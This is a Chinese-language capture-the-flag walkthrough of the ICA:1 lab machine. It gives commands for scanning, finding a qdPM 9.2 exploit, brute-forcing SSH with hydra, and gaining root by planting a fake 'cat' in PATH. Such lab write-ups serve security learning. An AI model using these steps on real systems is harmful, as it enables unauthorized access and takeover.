ICA:1靶場
目錄- ICA:1靶場
- 一、主機發現
- 二、埠掃描
- 三、滲透提權階段
機器資訊:
靶機:192.168.142.129
攻擊機:192.168.142.132
一、主機發現
arp-scan -l
或者
nmap -sP 192.168.142.0/24
二、埠掃描
nmap -sV -p- 192.168.142.129
或者
nmap -A -p- 192.168.142.129
三、滲透提權階段
(1)查詢框架漏洞:
searchsploit qdpm 9.2
(2)找到對應檔案:
locate php/webapps/50176.txt
或者
find / -name 50176.txt
(3)通過50176.txt中的方法找到了資料庫用戶名和密碼
(4)登錄資料庫查詢用戶資訊
(5)用資料庫拿到的資訊進行ssh爆破
hydra -L user.txt -P password.txt ssh://192.168.142.129
(6)確定用戶賬號和密碼,ssh進行登錄
(7)得到提示,找查可執行檔案
find / -perm -u=s 2>/dev/null
(8)通過strings查看檔案中的字符
strings /opt/get_access
(9)發現存在setuid、system、cat /root/system.info等字眼
(10)修改環境變數來提權
vim /tmp/cat
echo "/bin/bash" > /tmp/cat
chmod +x /tmp/cat
export PATH=/tmp:$PATH
echo $PATH
(11)執行檔案,成功提權
/opt/get_access
(12)提權后洗掉/tmp/cat檔案
(13)到/root目錄下拿到flag
參考資料:
https://www.cnblogs.com/sainet/p/15656589.html
https://juejin.cn/post/7067099039526813703
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/550021.html
標籤:其他
